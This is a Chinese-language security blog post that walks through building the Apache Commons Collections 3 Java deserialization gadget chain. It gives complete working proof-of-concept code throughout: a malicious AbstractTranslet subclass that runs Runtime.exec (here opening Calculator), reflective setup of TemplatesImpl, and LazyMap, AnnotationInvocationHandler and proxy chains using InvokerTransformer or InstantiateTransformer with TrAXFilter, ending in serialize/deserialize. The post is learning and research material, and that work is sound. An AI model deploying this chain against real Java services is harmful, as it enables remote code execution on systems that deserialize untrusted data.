Apache_Commons_Collections3分析

动态类加载

动态类加载 - AU9U5T

分析

由于defineClass 是private 所以我们得找到一条链子可以实现public 函数为入口调用到defineClass

那就得慢慢 在ClassLoader 类中去找

最终找到了这个

image-20251008212408942

往上找

image-20251008212459156

发现是作用域是default

那么只会在该类中调用,继续往上找

image-20251008212633564

只有一个调用者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

_class[i] = loader.defineClass(_bytecodes[i]);

这里就是对_class进行初始化,但是该函数还是一个private,继续找该方法的调用

image-20251008212901471

一个一个的看

  1. getTransletClasses

    只是返回一个_class

    image-20251008213015981

  2. defineTransletClasses

    返回的是下标

    image-20251008213149172

  3. getTransletInstance

    image-20251008213236058

    该类完成了newInstance() 完成了类的创建

    那么这个函数走完,恶意的类也就完成了执行

那就继续找 getTransletInstance 有哪些调用

image-20251008213530885

发现了public 的方法,那么先尝试看看该类是否能执行

现在的链子就是

1
2
3
4
5
TemplatesImpl.newTransformer() -> 
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TemplatesImpl.defineClass() ->
ClassLoader.defineClass()

首先外部只需要调用newTransfomer() 就行

1
2
3
4
5
6
7
8
9
10
11
12
13

/**
* 测试 TemplatesImpl.newTransformer() ->
* TemplatesImpl.getTransletInstance() ->
* TemplatesImpl.defineTransletClasses() ->
* TemplatesImpl.defineClass() ->
* ClassLoader.defineClass()
* 链是否能成功调用
*/
public void test() throws TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
}

但是得分析一下路径控制看是否能成功的执行到目标函数

image-20251008214315593

这个函数中不需要,因为无论赋不赋值getTransletInstance() 都可以直接调用

image-20251008214401201

要调用defineTransletClasses() 那么 _name 不能为null,_class为null

image-20251008214529992

_bytecodes 不能为null,_tfactory 也不能为null 不然会出发异常

image-20251008214653095

然后完成下面的初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3Learn {

/**
* 测试 TemplatesImpl.newTransformer() ->
* TemplatesImpl.getTransletInstance() ->
* TemplatesImpl.defineTransletClasses() ->
* TemplatesImpl.defineClass() ->
* ClassLoader.defineClass()
* 链是否能成功调用
*/
public static void test() throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


templates.newTransformer();

}

public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException {
test();
}
}

其中恶意类代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Test {
{
String cmd="open -a Calculator.app";
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

}

image-20251008215549988

上诉代码存在空指针异常

分析出

image-20251008222929570

这里出发的异常

有两个方案

  1. _auxClasses 赋值
  2. 走if 的结果,而不是else 结果

分析可以发现

image-20251008223017789

如果小于0 也会抛出异常
调试发现

image-20251008223118887

该值为-1 那么让其走if 结果,不让第二个if 异常,而且可以防止空指针异常

那么这个要求我们的类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

image-20251008223223710

我们需要继承一下,那么修改类如下(需要实现部分接口,和虚类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
{
String cmd="open -a Calculator.app";
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

再进行加载

发现成功加载

最后的测试函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3Learn {

/**
* 测试 TemplatesImpl.newTransformer() ->
* TemplatesImpl.getTransletInstance() ->
* TemplatesImpl.defineTransletClasses() ->
* TemplatesImpl.defineClass() ->
* ClassLoader.defineClass()
* 链是否能成功调用
*/
public static void test() throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


templates.newTransformer();

}

public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException {
test();
}
}

替换cc1 的source

本意是替换cc1 中的代码执行,到新的动态类加载

本质就只需要进行 换一下sink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3Learn {

/**
* 测试 TemplatesImpl.newTransformer() ->
* TemplatesImpl.getTransletInstance() ->
* TemplatesImpl.defineTransletClasses() ->
* TemplatesImpl.defineClass() ->
* ClassLoader.defineClass()
* 链是否能成功调用
*/
public static void test() throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


templates.newTransformer();

}

public static void testWithCc1Source() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象
ct.transform(1);


HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");

// Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, ct);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct);




Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);


// 动态代理
Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},object);


InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);


String Filename=Serialize.serialize(invocationHandlerObject);
Serialize.deserialize(Filename);
Clean.clean();
}

public static void main(String[] args) throws Exception {
testWithCc1Source();
}
}

ysoserial 的cc3

其实除了发现了可以通过invokeTransfomer 进行调用之外,还可以找其他方式进行调用。以防再invokeTransformer 被禁用的情况下使用

那么就出现了cc3 的正规调用方式

首先 TrAXFilter类 的构造函数中就调用了templates.newTransformer

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

然后就想什么transformer 函数中会创建对象,从而调用构造函数

InstantiateTransformer 类的transform 函数会调用构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

然后就可以构造一个新的利用方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3Learn {

/**
* 测试 TemplatesImpl.newTransformer() ->
* TemplatesImpl.getTransletInstance() ->
* TemplatesImpl.defineTransletClasses() ->
* TemplatesImpl.defineClass() ->
* ClassLoader.defineClass()
* 链是否能成功调用
*/
public static void test() throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


templates.newTransformer();

}

public static void testWithCc1Source() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象
ct.transform(1);


HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");

// Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, ct);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct);




Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);


// 动态代理
Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},object);


InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);


String Filename=Serialize.serialize(invocationHandlerObject);
Serialize.deserialize(Filename);
Clean.clean();
}

public static void cc3() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象



HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");

// Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, ct);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, ct);




Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler object = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);


// 动态代理
Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},object);


InvocationHandler invocationHandlerObject = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);


String Filename=Serialize.serialize(invocationHandlerObject);
Serialize.deserialize(Filename);
Clean.clean();
}

public static void main(String[] args) throws Exception {
cc3();
}
}


Apache_Commons_Collections3分析
https://tsy244.github.io/2025/10/08/java安全/Apache-Commons-Collections3分析/
Author
August Rosenberg
Posted on
October 8, 2025
Licensed under